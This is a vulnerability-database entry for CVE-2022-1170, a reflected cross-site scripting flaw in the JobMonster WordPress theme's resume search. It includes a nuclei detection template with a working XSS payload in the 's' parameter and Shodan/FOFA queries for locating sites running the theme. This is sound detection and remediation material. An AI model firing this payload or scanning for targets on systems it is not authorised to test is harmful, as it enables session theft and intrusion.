HexBrain

Browse / CVEs / CVE-2022-1170

CVE-2022-1170· nootheme / jobmonster· CWE-79

JobMonster < 4.5.2.9 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.8%likelihood of exploitation, next 30 days
79%of all CVEs are less likely
Readycheck to confirm it

In the theme JobMonster < 4.5.2.9 there is a XSS vulnerability as the input for the search form is provided through unsanitized GET requests.

Impact

Attackers can inject malicious JavaScript via XSS in the search form, potentially stealing user session cookies or performing unauthorized actions.

Fix

Upgrade to JobMonster theme version 4.5.2.9 or later.

How to confirm it

Send: GET {{BaseURL}}/resumes/?s=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E
Positive when: contains "<img src=x onerror=alert(document.domain)>" and "noo-resume" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-1170 -u <target>

The full check
id: CVE-2022-1170

info:
  name: JobMonster < 4.5.2.9 - Cross-Site Scripting
  author: Akincibor,ritikchaddha
  severity: medium
  description: |
    In the theme JobMonster < 4.5.2.9 there is a XSS vulnerability as the input for the search form is provided through unsanitized GET requests.
  impact: |
    Attackers can inject malicious JavaScript via XSS in the search form, potentially stealing user session cookies or performing unauthorized actions.
  remediation: |
    Upgrade to JobMonster theme version 4.5.2.9 or later.
  reference:
    - https://wpscan.com/vulnerability/2ecb18e6-b575-4a20-bd31-94d24f1d1efc
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1170
    - https://themeforest.net/item/jobmonster-job-board-wordpress-theme/10965446
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1170
    cwe-id: CWE-79
    epss-score: 0.01789
    epss-percentile: 0.78532
    cpe: cpe:2.3:a:nootheme:jobmonster:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nootheme
    product: jobmonster
    framework: wordpress
    shodan-query: http.html:/wp-content/themes/noo-jobmonster
    fofa-query: body=/wp-content/themes/noo-jobmonster
    publicwww-query: "/wp-content/themes/noo-jobmonster"
  tags: cve,cve2022,wpscan,wp,wp-theme,wordpress,xss,jobmonster,nootheme,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/resumes/?s=%22%3E%3Cimg+src%3Dx+onerror%3Dalert(document.domain)%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<img src=x onerror=alert(document.domain)>'
          - 'noo-resume'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from